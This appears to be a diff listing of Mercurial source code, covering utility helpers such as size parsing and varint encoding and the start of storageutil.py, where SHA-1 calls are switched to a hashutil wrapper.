3400 stderr.write(
3401 stderr.write(
3401 b'%s%s: %s\n'
3402 b'%s%s: %s\n'
3402 % (
3403 % (
3403 b' ' * time_stats.level * 2,
3404 b' ' * time_stats.level * 2,
3404 pycompat.bytestr(func.__name__),
3405 pycompat.bytestr(func.__name__),
3405 time_stats,
3406 time_stats,
3406 )
3407 )
3407 )
3408 )
3408 return result
3409 return result
3409
3410
3410 return wrapper
3411 return wrapper
3411
3412
3412
3413
3413 _sizeunits = (
3414 _sizeunits = (
3414 (b'm', 2 ** 20),
3415 (b'm', 2 ** 20),
3415 (b'k', 2 ** 10),
3416 (b'k', 2 ** 10),
3416 (b'g', 2 ** 30),
3417 (b'g', 2 ** 30),
3417 (b'kb', 2 ** 10),
3418 (b'kb', 2 ** 10),
3418 (b'mb', 2 ** 20),
3419 (b'mb', 2 ** 20),
3419 (b'gb', 2 ** 30),
3420 (b'gb', 2 ** 30),
3420 (b'b', 1),
3421 (b'b', 1),
3421 )
3422 )
3422
3423
3423
3424
3424 def sizetoint(s):
3425 def sizetoint(s):
3425 '''Convert a space specifier to a byte count.
3426 '''Convert a space specifier to a byte count.
3426
3427
3427 >>> sizetoint(b'30')
3428 >>> sizetoint(b'30')
3428 30
3429 30
3429 >>> sizetoint(b'2.2kb')
3430 >>> sizetoint(b'2.2kb')
3430 2252
3431 2252
3431 >>> sizetoint(b'6M')
3432 >>> sizetoint(b'6M')
3432 6291456
3433 6291456
3433 '''
3434 '''
3434 t = s.strip().lower()
3435 t = s.strip().lower()
3435 try:
3436 try:
3436 for k, u in _sizeunits:
3437 for k, u in _sizeunits:
3437 if t.endswith(k):
3438 if t.endswith(k):
3438 return int(float(t[: -len(k)]) * u)
3439 return int(float(t[: -len(k)]) * u)
3439 return int(t)
3440 return int(t)
3440 except ValueError:
3441 except ValueError:
3441 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3442 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3442
3443
3443
3444
3444 class hooks(object):
3445 class hooks(object):
3445 '''A collection of hook functions that can be used to extend a
3446 '''A collection of hook functions that can be used to extend a
3446 function's behavior. Hooks are called in lexicographic order,
3447 function's behavior. Hooks are called in lexicographic order,
3447 based on the names of their sources.'''
3448 based on the names of their sources.'''
3448
3449
3449 def __init__(self):
3450 def __init__(self):
3450 self._hooks = []
3451 self._hooks = []
3451
3452
3452 def add(self, source, hook):
3453 def add(self, source, hook):
3453 self._hooks.append((source, hook))
3454 self._hooks.append((source, hook))
3454
3455
3455 def __call__(self, *args):
3456 def __call__(self, *args):
3456 self._hooks.sort(key=lambda x: x[0])
3457 self._hooks.sort(key=lambda x: x[0])
3457 results = []
3458 results = []
3458 for source, hook in self._hooks:
3459 for source, hook in self._hooks:
3459 results.append(hook(*args))
3460 results.append(hook(*args))
3460 return results
3461 return results
3461
3462
3462
3463
3463 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3464 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3464 '''Yields lines for a nicely formatted stacktrace.
3465 '''Yields lines for a nicely formatted stacktrace.
3465 Skips the 'skip' last entries, then return the last 'depth' entries.
3466 Skips the 'skip' last entries, then return the last 'depth' entries.
3466 Each file+linenumber is formatted according to fileline.
3467 Each file+linenumber is formatted according to fileline.
3467 Each line is formatted according to line.
3468 Each line is formatted according to line.
3468 If line is None, it yields:
3469 If line is None, it yields:
3469 length of longest filepath+line number,
3470 length of longest filepath+line number,
3470 filepath+linenumber,
3471 filepath+linenumber,
3471 function
3472 function
3472
3473
3473 Not be used in production code but very convenient while developing.
3474 Not be used in production code but very convenient while developing.
3474 '''
3475 '''
3475 entries = [
3476 entries = [
3476 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3477 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3477 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3478 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3478 ][-depth:]
3479 ][-depth:]
3479 if entries:
3480 if entries:
3480 fnmax = max(len(entry[0]) for entry in entries)
3481 fnmax = max(len(entry[0]) for entry in entries)
3481 for fnln, func in entries:
3482 for fnln, func in entries:
3482 if line is None:
3483 if line is None:
3483 yield (fnmax, fnln, func)
3484 yield (fnmax, fnln, func)
3484 else:
3485 else:
3485 yield line % (fnmax, fnln, func)
3486 yield line % (fnmax, fnln, func)
3486
3487
3487
3488
3488 def debugstacktrace(
3489 def debugstacktrace(
3489 msg=b'stacktrace',
3490 msg=b'stacktrace',
3490 skip=0,
3491 skip=0,
3491 f=procutil.stderr,
3492 f=procutil.stderr,
3492 otherf=procutil.stdout,
3493 otherf=procutil.stdout,
3493 depth=0,
3494 depth=0,
3494 prefix=b'',
3495 prefix=b'',
3495 ):
3496 ):
3496 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3497 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3497 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3498 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3498 By default it will flush stdout first.
3499 By default it will flush stdout first.
3499 It can be used everywhere and intentionally does not require an ui object.
3500 It can be used everywhere and intentionally does not require an ui object.
3500 Not be used in production code but very convenient while developing.
3501 Not be used in production code but very convenient while developing.
3501 '''
3502 '''
3502 if otherf:
3503 if otherf:
3503 otherf.flush()
3504 otherf.flush()
3504 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3505 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3505 for line in getstackframes(skip + 1, depth=depth):
3506 for line in getstackframes(skip + 1, depth=depth):
3506 f.write(prefix + line)
3507 f.write(prefix + line)
3507 f.flush()
3508 f.flush()
3508
3509
3509
3510
3510 # convenient shortcut
3511 # convenient shortcut
3511 dst = debugstacktrace
3512 dst = debugstacktrace
3512
3513
3513
3514
3514 def safename(f, tag, ctx, others=None):
3515 def safename(f, tag, ctx, others=None):
3515 """
3516 """
3516 Generate a name that it is safe to rename f to in the given context.
3517 Generate a name that it is safe to rename f to in the given context.
3517
3518
3518 f: filename to rename
3519 f: filename to rename
3519 tag: a string tag that will be included in the new name
3520 tag: a string tag that will be included in the new name
3520 ctx: a context, in which the new name must not exist
3521 ctx: a context, in which the new name must not exist
3521 others: a set of other filenames that the new name must not be in
3522 others: a set of other filenames that the new name must not be in
3522
3523
3523 Returns a file name of the form oldname~tag[~number] which does not exist
3524 Returns a file name of the form oldname~tag[~number] which does not exist
3524 in the provided context and is not in the set of other names.
3525 in the provided context and is not in the set of other names.
3525 """
3526 """
3526 if others is None:
3527 if others is None:
3527 others = set()
3528 others = set()
3528
3529
3529 fn = b'%s~%s' % (f, tag)
3530 fn = b'%s~%s' % (f, tag)
3530 if fn not in ctx and fn not in others:
3531 if fn not in ctx and fn not in others:
3531 return fn
3532 return fn
3532 for n in itertools.count(1):
3533 for n in itertools.count(1):
3533 fn = b'%s~%s~%s' % (f, tag, n)
3534 fn = b'%s~%s~%s' % (f, tag, n)
3534 if fn not in ctx and fn not in others:
3535 if fn not in ctx and fn not in others:
3535 return fn
3536 return fn
3536
3537
3537
3538
3538 def readexactly(stream, n):
3539 def readexactly(stream, n):
3539 '''read n bytes from stream.read and abort if less was available'''
3540 '''read n bytes from stream.read and abort if less was available'''
3540 s = stream.read(n)
3541 s = stream.read(n)
3541 if len(s) < n:
3542 if len(s) < n:
3542 raise error.Abort(
3543 raise error.Abort(
3543 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3544 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3544 % (len(s), n)
3545 % (len(s), n)
3545 )
3546 )
3546 return s
3547 return s
3547
3548
3548
3549
3549 def uvarintencode(value):
3550 def uvarintencode(value):
3550 """Encode an unsigned integer value to a varint.
3551 """Encode an unsigned integer value to a varint.
3551
3552
3552 A varint is a variable length integer of 1 or more bytes. Each byte
3553 A varint is a variable length integer of 1 or more bytes. Each byte
3553 except the last has the most significant bit set. The lower 7 bits of
3554 except the last has the most significant bit set. The lower 7 bits of
3554 each byte store the 2's complement representation, least significant group
3555 each byte store the 2's complement representation, least significant group
3555 first.
3556 first.
3556
3557
3557 >>> uvarintencode(0)
3558 >>> uvarintencode(0)
3558 '\\x00'
3559 '\\x00'
3559 >>> uvarintencode(1)
3560 >>> uvarintencode(1)
3560 '\\x01'
3561 '\\x01'
3561 >>> uvarintencode(127)
3562 >>> uvarintencode(127)
3562 '\\x7f'
3563 '\\x7f'
3563 >>> uvarintencode(1337)
3564 >>> uvarintencode(1337)
3564 '\\xb9\\n'
3565 '\\xb9\\n'
3565 >>> uvarintencode(65536)
3566 >>> uvarintencode(65536)
3566 '\\x80\\x80\\x04'
3567 '\\x80\\x80\\x04'
3567 >>> uvarintencode(-1)
3568 >>> uvarintencode(-1)
3568 Traceback (most recent call last):
3569 Traceback (most recent call last):
3569 ...
3570 ...
3570 ProgrammingError: negative value for uvarint: -1
3571 ProgrammingError: negative value for uvarint: -1
3571 """
3572 """
3572 if value < 0:
3573 if value < 0:
3573 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3574 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3574 bits = value & 0x7F
3575 bits = value & 0x7F
3575 value >>= 7
3576 value >>= 7
3576 bytes = []
3577 bytes = []
3577 while value:
3578 while value:
3578 bytes.append(pycompat.bytechr(0x80 | bits))
3579 bytes.append(pycompat.bytechr(0x80 | bits))
3579 bits = value & 0x7F
3580 bits = value & 0x7F
3580 value >>= 7
3581 value >>= 7
3581 bytes.append(pycompat.bytechr(bits))
3582 bytes.append(pycompat.bytechr(bits))
3582
3583
3583 return b''.join(bytes)
3584 return b''.join(bytes)
3584
3585
3585
3586
3586 def uvarintdecodestream(fh):
3587 def uvarintdecodestream(fh):
3587 """Decode an unsigned variable length integer from a stream.
3588 """Decode an unsigned variable length integer from a stream.
3588
3589
3589 The passed argument is anything that has a ``.read(N)`` method.
3590 The passed argument is anything that has a ``.read(N)`` method.
3590
3591
3591 >>> try:
3592 >>> try:
3592 ... from StringIO import StringIO as BytesIO
3593 ... from StringIO import StringIO as BytesIO
3593 ... except ImportError:
3594 ... except ImportError:
3594 ... from io import BytesIO
3595 ... from io import BytesIO
3595 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3596 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3596 0
3597 0
3597 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3598 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3598 1
3599 1
3599 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3600 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3600 127
3601 127
3601 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3602 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3602 1337
3603 1337
3603 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3604 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3604 65536
3605 65536
3605 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3606 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3606 Traceback (most recent call last):
3607 Traceback (most recent call last):
3607 ...
3608 ...
3608 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3609 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3609 """
3610 """
3610 result = 0
3611 result = 0
3611 shift = 0
3612 shift = 0
3612 while True:
3613 while True:
3613 byte = ord(readexactly(fh, 1))
3614 byte = ord(readexactly(fh, 1))
3614 result |= (byte & 0x7F) << shift
3615 result |= (byte & 0x7F) << shift
3615 if not (byte & 0x80):
3616 if not (byte & 0x80):
3616 return result
3617 return result
3617 shift += 7
3618 shift += 7
@@ -1,512 +1,512
1 # storageutil.py - Storage functionality agnostic of backend implementation.
1 # storageutil.py - Storage functionality agnostic of backend implementation.
2 #
2 #
3 # Copyright 2018 Gregory Szorc <gregory.szorc@gmail.com>
3 # Copyright 2018 Gregory Szorc <gregory.szorc@gmail.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import hashlib
11 import re
10 import re
12 import struct
11 import struct
13
12
14 from ..i18n import _
13 from ..i18n import _
15 from ..node import (
14 from ..node import (
16 bin,
15 bin,
17 nullid,
16 nullid,
18 nullrev,
17 nullrev,
19 )
18 )
20 from .. import (
19 from .. import (
21 dagop,
20 dagop,
22 error,
21 error,
23 mdiff,
22 mdiff,
24 pycompat,
23 pycompat,
25 )
24 )
26 from ..interfaces import repository
25 from ..interfaces import repository
26 from ..utils import hashutil
27
27
28 _nullhash = hashlib.sha1(nullid)
28 _nullhash = hashutil.sha1(nullid)
29
29
30
30
31 def hashrevisionsha1(text, p1, p2):
31 def hashrevisionsha1(text, p1, p2):
32 """Compute the SHA-1 for revision data and its parents.
32 """Compute the SHA-1 for revision data and its parents.
33
33
34 This hash combines both the current file contents and its history
34 This hash combines both the current file contents and its history
35 in a manner that makes it easy to distinguish nodes with the same
35 in a manner that makes it easy to distinguish nodes with the same
36 content in the revision graph.
36 content in the revision graph.
37 """
37 """
38 # As of now, if one of the parent node is null, p2 is null
38 # As of now, if one of the parent node is null, p2 is null
39 if p2 == nullid:
39 if p2 == nullid:
40 # deep copy of a hash is faster than creating one
40 # deep copy of a hash is faster than creating one
41 s = _nullhash.copy()
41 s = _nullhash.copy()
42 s.update(p1)
42 s.update(p1)
43 else:
43 else:
44 # none of the parent nodes are nullid
44 # none of the parent nodes are nullid
45 if p1 < p2:
45 if p1 < p2:
46 a = p1
46 a = p1
47 b = p2
47 b = p2
48 else:
48 else:
49 a = p2
49 a = p2
50 b = p1
50 b = p1
51 s = hashlib.sha1(a)
51 s = hashutil.sha1(a)
52 s.update(b)
52 s.update(b)
53 s.update(text)
53 s.update(text)
54 return s.digest()
54 return s.digest()
55
55
56
56
57 METADATA_RE = re.compile(b'\x01\n')
57 METADATA_RE = re.compile(b'\x01\n')
58
58
59
59
60 def parsemeta(text):
60 def parsemeta(text):
61 """Parse metadata header from revision data.
61 """Parse metadata header from revision data.
62
62
63 Returns a 2-tuple of (metadata, offset), where both can be None if there
63 Returns a 2-tuple of (metadata, offset), where both can be None if there
64 is no metadata.
64 is no metadata.
65 """
65 """
66 # text can be buffer, so we can't use .startswith or .index
66 # text can be buffer, so we can't use .startswith or .index
67 if text[:2] != b'\x01\n':
67 if text[:2] != b'\x01\n':
68 return None, None
68 return None, None
69 s = METADATA_RE.search(text, 2).start()
69 s = METADATA_RE.search(text, 2).start()
70 mtext = text[2:s]
70 mtext = text[2:s]
71 meta = {}
71 meta = {}
72 for l in mtext.splitlines():
72 for l in mtext.splitlines():
73 k, v = l.split(b': ', 1)
73 k, v = l.split(b': ', 1)
74 meta[k] = v
74 meta[k] = v
75 return meta, s + 2
75 return meta, s + 2
76
76
77
77
78 def packmeta(meta, text):
78 def packmeta(meta, text):
79 """Add metadata to fulltext to produce revision text."""
79 """Add metadata to fulltext to produce revision text."""
80 keys = sorted(meta)
80 keys = sorted(meta)
81 metatext = b''.join(b'%s: %s\n' % (k, meta[k]) for k in keys)
81 metatext = b''.join(b'%s: %s\n' % (k, meta[k]) for k in keys)
82 return b'\x01\n%s\x01\n%s' % (metatext, text)
82 return b'\x01\n%s\x01\n%s' % (metatext, text)
83
83
84
84
85 def iscensoredtext(text):
85 def iscensoredtext(text):
86 meta = parsemeta(text)[0]
86 meta = parsemeta(text)[0]
87 return meta and b'censored' in meta
87 return meta and b'censored' in meta
88
88
89
89
90 def filtermetadata(text):
90 def filtermetadata(text):
91 """Extract just the revision data from source text.
91 """Extract just the revision data from source text.
92
92
93 Returns ``text`` unless it has a metadata header, in which case we return
93 Returns ``text`` unless it has a metadata header, in which case we return
94 a new buffer without hte metadata.
94 a new buffer without hte metadata.
95 """
95 """
96 if not text.startswith(b'\x01\n'):
96 if not text.startswith(b'\x01\n'):
97 return text
97 return text
98
98
99 offset = text.index(b'\x01\n', 2)
99 offset = text.index(b'\x01\n', 2)
100 return text[offset + 2 :]
100 return text[offset + 2 :]
101
101
102
102
103 def filerevisioncopied(store, node):
103 def filerevisioncopied(store, node):
104 """Resolve file revision copy metadata.
104 """Resolve file revision copy metadata.
105
105
106 Returns ``False`` if the file has no copy metadata. Otherwise a
106 Returns ``False`` if the file has no copy metadata. Otherwise a
107 2-tuple of the source filename and node.
107 2-tuple of the source filename and node.
108 """
108 """
109 if store.parents(node)[0] != nullid:
109 if store.parents(node)[0] != nullid:
110 return False
110 return False
111
111
112 meta = parsemeta(store.revision(node))[0]
112 meta = parsemeta(store.revision(node))[0]
113
113
114 # copy and copyrev occur in pairs. In rare cases due to old bugs,
114 # copy and copyrev occur in pairs. In rare cases due to old bugs,
115 # one can occur without the other. So ensure both are present to flag
115 # one can occur without the other. So ensure both are present to flag
116 # as a copy.
116 # as a copy.
117 if meta and b'copy' in meta and b'copyrev' in meta:
117 if meta and b'copy' in meta and b'copyrev' in meta:
118 return meta[b'copy'], bin(meta[b'copyrev'])
118 return meta[b'copy'], bin(meta[b'copyrev'])
119
119
120 return False
120 return False
121
121
122
122
123 def filedataequivalent(store, node, filedata):
123 def filedataequivalent(store, node, filedata):
124 """Determines whether file data is equivalent to a stored node.
124 """Determines whether file data is equivalent to a stored node.
125
125
126 Returns True if the passed file data would hash to the same value
126 Returns True if the passed file data would hash to the same value
127 as a stored revision and False otherwise.
127 as a stored revision and False otherwise.
128
128
129 When a stored revision is censored, filedata must be empty to have
129 When a stored revision is censored, filedata must be empty to have
130 equivalence.
130 equivalence.
131
131
132 When a stored revision has copy metadata, it is ignored as part
132 When a stored revision has copy metadata, it is ignored as part
133 of the compare.
133 of the compare.
134 """
134 """
135
135
136 if filedata.startswith(b'\x01\n'):
136 if filedata.startswith(b'\x01\n'):
137 revisiontext = b'\x01\n\x01\n' + filedata
137 revisiontext = b'\x01\n\x01\n' + filedata
138 else:
138 else:
139 revisiontext = filedata
139 revisiontext = filedata
140
140
141 p1, p2 = store.parents(node)
141 p1, p2 = store.parents(node)
142
142
143 computednode = hashrevisionsha1(revisiontext, p1, p2)
143 computednode = hashrevisionsha1(revisiontext, p1, p2)
144
144
145 if computednode == node:
145 if computednode == node:
146 return True
146 return True
147
147
148 # Censored files compare against the empty file.
148 # Censored files compare against the empty file.
149 if store.iscensored(store.rev(node)):
149 if store.iscensored(store.rev(node)):
150 return filedata == b''
150 return filedata == b''
151
151
152 # Renaming a file produces a different hash, even if the data
152 # Renaming a file produces a different hash, even if the data
153 # remains unchanged. Check if that's the case.
153 # remains unchanged. Check if that's the case.
154 if store.renamed(node):
154 if store.renamed(node):
155 return store.read(node) == filedata
155 return store.read(node) == filedata
156
156
157 return False
157 return False
158
158
159
159
160 def iterrevs(storelen, start=0, stop=None):
160 def iterrevs(storelen, start=0, stop=None):
161 """Iterate over revision numbers in a store."""
161 """Iterate over revision numbers in a store."""
162 step = 1
162 step = 1
163
163
164 if stop is not None:
164 if stop is not None:
165 if start > stop:
165 if start > stop:
166 step = -1
166 step = -1
167 stop += step
167 stop += step
168 if stop > storelen:
168 if stop > storelen:
169 stop = storelen
169 stop = storelen
170 else:
170 else:
171 stop = storelen
171 stop = storelen
172
172
173 return pycompat.xrange(start, stop, step)
173 return pycompat.xrange(start, stop, step)
174
174
175
175
176 def fileidlookup(store, fileid, identifier):
176 def fileidlookup(store, fileid, identifier):
177 """Resolve the file node for a value.
177 """Resolve the file node for a value.
178
178
179 ``store`` is an object implementing the ``ifileindex`` interface.
179 ``store`` is an object implementing the ``ifileindex`` interface.
180
180
181 ``fileid`` can be:
181 ``fileid`` can be:
182
182
183 * A 20 byte binary node.
183 * A 20 byte binary node.
184 * An integer revision number
184 * An integer revision number
185 * A 40 byte hex node.
185 * A 40 byte hex node.
186 * A bytes that can be parsed as an integer representing a revision number.
186 * A bytes that can be parsed as an integer representing a revision number.
187
187
188 ``identifier`` is used to populate ``error.LookupError`` with an identifier
188 ``identifier`` is used to populate ``error.LookupError`` with an identifier
189 for the store.
189 for the store.
190
190
191 Raises ``error.LookupError`` on failure.
191 Raises ``error.LookupError`` on failure.
192 """
192 """
193 if isinstance(fileid, int):
193 if isinstance(fileid, int):
194 try:
194 try:
195 return store.node(fileid)
195 return store.node(fileid)
196 except IndexError:
196 except IndexError:
197 raise error.LookupError(
197 raise error.LookupError(
198 b'%d' % fileid, identifier, _(b'no match found')
198 b'%d' % fileid, identifier, _(b'no match found')
199 )
199 )
200
200
201 if len(fileid) == 20:
201 if len(fileid) == 20:
202 try:
202 try:
203 store.rev(fileid)
203 store.rev(fileid)
204 return fileid
204 return fileid
205 except error.LookupError:
205 except error.LookupError:
206 pass
206 pass
207
207
208 if len(fileid) == 40:
208 if len(fileid) == 40:
209 try:
209 try:
210 rawnode = bin(fileid)
210 rawnode = bin(fileid)
211 store.rev(rawnode)
211 store.rev(rawnode)
212 return rawnode
212 return rawnode
213 except TypeError:
213 except TypeError:
214 pass
214 pass
215
215
216 try:
216 try:
217 rev = int(fileid)
217 rev = int(fileid)
218
218
219 if b'%d' % rev != fileid:
219 if b'%d' % rev != fileid:
220 raise ValueError
220 raise ValueError
221
221
222 try:
222 try:
223 return store.node(rev)
223 return store.node(rev)
224 except (IndexError, TypeError):
224 except (IndexError, TypeError):
225 pass
225 pass
226 except (ValueError, OverflowError):
226 except (ValueError, OverflowError):
227 pass
227 pass
228
228
229 raise error.LookupError(fileid, identifier, _(b'no match found'))
229 raise error.LookupError(fileid, identifier, _(b'no match found'))
230
230
231
231
232 def resolvestripinfo(minlinkrev, tiprev, headrevs, linkrevfn, parentrevsfn):
232 def resolvestripinfo(minlinkrev, tiprev, headrevs, linkrevfn, parentrevsfn):
233 """Resolve information needed to strip revisions.
233 """Resolve information needed to strip revisions.
234
234
235 Finds the minimum revision number that must be stripped in order to
235 Finds the minimum revision number that must be stripped in order to
236 strip ``minlinkrev``.
236 strip ``minlinkrev``.
237
237
238 Returns a 2-tuple of the minimum revision number to do that and a set
238 Returns a 2-tuple of the minimum revision number to do that and a set
239 of all revision numbers that have linkrevs that would be broken
239 of all revision numbers that have linkrevs that would be broken
240 by that strip.
240 by that strip.
241
241
242 ``tiprev`` is the current tip-most revision. It is ``len(store) - 1``.
242 ``tiprev`` is the current tip-most revision. It is ``len(store) - 1``.
243 ``headrevs`` is an iterable of head revisions.
243 ``headrevs`` is an iterable of head revisions.
244 ``linkrevfn`` is a callable that receives a revision and returns a linked
244 ``linkrevfn`` is a callable that receives a revision and returns a linked
245 revision.
245 revision.
246 ``parentrevsfn`` is a callable that receives a revision number and returns
246 ``parentrevsfn`` is a callable that receives a revision number and returns
247 an iterable of its parent revision numbers.
247 an iterable of its parent revision numbers.
248 """
248 """
249 brokenrevs = set()
249 brokenrevs = set()
250 strippoint = tiprev + 1
250 strippoint = tiprev + 1
251
251
252 heads = {}
252 heads = {}
253 futurelargelinkrevs = set()
253 futurelargelinkrevs = set()
254 for head in headrevs:
254 for head in headrevs:
255 headlinkrev = linkrevfn(head)
255 headlinkrev = linkrevfn(head)
256 heads[head] = headlinkrev
256 heads[head] = headlinkrev
257 if headlinkrev >= minlinkrev:
257 if headlinkrev >= minlinkrev:
258 futurelargelinkrevs.add(headlinkrev)
258 futurelargelinkrevs.add(headlinkrev)
259
259
260 # This algorithm involves walking down the rev graph, starting at the
260 # This algorithm involves walking down the rev graph, starting at the
261 # heads. Since the revs are topologically sorted according to linkrev,
261 # heads. Since the revs are topologically sorted according to linkrev,
262 # once all head linkrevs are below the minlink, we know there are
262 # once all head linkrevs are below the minlink, we know there are
263 # no more revs that could have a linkrev greater than minlink.
263 # no more revs that could have a linkrev greater than minlink.
264 # So we can stop walking.
264 # So we can stop walking.
265 while futurelargelinkrevs:
265 while futurelargelinkrevs:
266 strippoint -= 1
266 strippoint -= 1
267 linkrev = heads.pop(strippoint)
267 linkrev = heads.pop(strippoint)
268
268
269 if linkrev < minlinkrev:
269 if linkrev < minlinkrev:
270 brokenrevs.add(strippoint)
270 brokenrevs.add(strippoint)
271 else:
271 else:
272 futurelargelinkrevs.remove(linkrev)
272 futurelargelinkrevs.remove(linkrev)
273
273
274 for p in parentrevsfn(strippoint):
274 for p in parentrevsfn(strippoint):
275 if p != nullrev:
275 if p != nullrev:
276 plinkrev = linkrevfn(p)
276 plinkrev = linkrevfn(p)
277 heads[p] = plinkrev
277 heads[p] = plinkrev
278 if plinkrev >= minlinkrev:
278 if plinkrev >= minlinkrev:
279 futurelargelinkrevs.add(plinkrev)
279 futurelargelinkrevs.add(plinkrev)
280
280
281 return strippoint, brokenrevs
281 return strippoint, brokenrevs
282
282
283
283
284 def emitrevisions(
284 def emitrevisions(
285 store,
285 store,
286 nodes,
286 nodes,
287 nodesorder,
287 nodesorder,
288 resultcls,
288 resultcls,
289 deltaparentfn=None,
289 deltaparentfn=None,
290 candeltafn=None,
290 candeltafn=None,
291 rawsizefn=None,
291 rawsizefn=None,
292 revdifffn=None,
292 revdifffn=None,
293 flagsfn=None,
293 flagsfn=None,
294 deltamode=repository.CG_DELTAMODE_STD,
294 deltamode=repository.CG_DELTAMODE_STD,
295 revisiondata=False,
295 revisiondata=False,
296 assumehaveparentrevisions=False,
296 assumehaveparentrevisions=False,
297 ):
297 ):
298 """Generic implementation of ifiledata.emitrevisions().
298 """Generic implementation of ifiledata.emitrevisions().
299
299
300 Emitting revision data is subtly complex. This function attempts to
300 Emitting revision data is subtly complex. This function attempts to
301 encapsulate all the logic for doing so in a backend-agnostic way.
301 encapsulate all the logic for doing so in a backend-agnostic way.
302
302
303 ``store``
303 ``store``
304 Object conforming to ``ifilestorage`` interface.
304 Object conforming to ``ifilestorage`` interface.
305
305
306 ``nodes``
306 ``nodes``
307 List of revision nodes whose data to emit.
307 List of revision nodes whose data to emit.
308
308
309 ``resultcls``
309 ``resultcls``
310 A type implementing the ``irevisiondelta`` interface that will be
310 A type implementing the ``irevisiondelta`` interface that will be
311 constructed and returned.
311 constructed and returned.
312
312
313 ``deltaparentfn`` (optional)
313 ``deltaparentfn`` (optional)
314 Callable receiving a revision number and returning the revision number
314 Callable receiving a revision number and returning the revision number
315 of a revision that the internal delta is stored against. This delta
315 of a revision that the internal delta is stored against. This delta
316 will be preferred over computing a new arbitrary delta.
316 will be preferred over computing a new arbitrary delta.
317
317
318 If not defined, a delta will always be computed from raw revision
318 If not defined, a delta will always be computed from raw revision
319 data.
319 data.
320
320
321 ``candeltafn`` (optional)
321 ``candeltafn`` (optional)
322 Callable receiving a pair of revision numbers that returns a bool
322 Callable receiving a pair of revision numbers that returns a bool
323 indicating whether a delta between them can be produced.
323 indicating whether a delta between them can be produced.
324
324
325 If not defined, it is assumed that any two revisions can delta with
325 If not defined, it is assumed that any two revisions can delta with
326 each other.
326 each other.
327
327
328 ``rawsizefn`` (optional)
328 ``rawsizefn`` (optional)
329 Callable receiving a revision number and returning the length of the
329 Callable receiving a revision number and returning the length of the
330 ``store.rawdata(rev)``.
330 ``store.rawdata(rev)``.
331
331
332 If not defined, ``len(store.rawdata(rev))`` will be called.
332 If not defined, ``len(store.rawdata(rev))`` will be called.
333
333
334 ``revdifffn`` (optional)
334 ``revdifffn`` (optional)
335 Callable receiving a pair of revision numbers that returns a delta
335 Callable receiving a pair of revision numbers that returns a delta
336 between them.
336 between them.
337
337
338 If not defined, a delta will be computed by invoking mdiff code
338 If not defined, a delta will be computed by invoking mdiff code
339 on ``store.revision()`` results.
339 on ``store.revision()`` results.
340
340
341 Defining this function allows a precomputed or stored delta to be
341 Defining this function allows a precomputed or stored delta to be
342 used without having to compute on.
342 used without having to compute on.
343
343
344 ``flagsfn`` (optional)
344 ``flagsfn`` (optional)
345 Callable receiving a revision number and returns the integer flags
345 Callable receiving a revision number and returns the integer flags
346 value for it. If not defined, flags value will be 0.
346 value for it. If not defined, flags value will be 0.
347
347
348 ``deltamode``
348 ``deltamode``
349 constaint on delta to be sent:
349 constaint on delta to be sent:
350 * CG_DELTAMODE_STD - normal mode, try to reuse storage deltas,
350 * CG_DELTAMODE_STD - normal mode, try to reuse storage deltas,
351 * CG_DELTAMODE_PREV - only delta against "prev",
351 * CG_DELTAMODE_PREV - only delta against "prev",
352 * CG_DELTAMODE_FULL - only issue full snapshot.
352 * CG_DELTAMODE_FULL - only issue full snapshot.
353
353
354 Whether to send fulltext revisions instead of deltas, if allowed.
354 Whether to send fulltext revisions instead of deltas, if allowed.
355
355
356 ``nodesorder``
356 ``nodesorder``
357 ``revisiondata``
357 ``revisiondata``
358 ``assumehaveparentrevisions``
358 ``assumehaveparentrevisions``
359 """
359 """
360
360
361 fnode = store.node
361 fnode = store.node
362 frev = store.rev
362 frev = store.rev
363
363
364 if nodesorder == b'nodes':
364 if nodesorder == b'nodes':
365 revs = [frev(n) for n in nodes]
365 revs = [frev(n) for n in nodes]
366 elif nodesorder == b'linear':
366 elif nodesorder == b'linear':
367 revs = set(frev(n) for n in nodes)
367 revs = set(frev(n) for n in nodes)
368 revs = dagop.linearize(revs, store.parentrevs)
368 revs = dagop.linearize(revs, store.parentrevs)
369 else: # storage and default
369 else: # storage and default
370 revs = sorted(frev(n) for n in nodes)
370 revs = sorted(frev(n) for n in nodes)
371
371
372 prevrev = None
372 prevrev = None
373
373
374 if deltamode == repository.CG_DELTAMODE_PREV or assumehaveparentrevisions:
374 if deltamode == repository.CG_DELTAMODE_PREV or assumehaveparentrevisions:
375 prevrev = store.parentrevs(revs[0])[0]
375 prevrev = store.parentrevs(revs[0])[0]
376
376
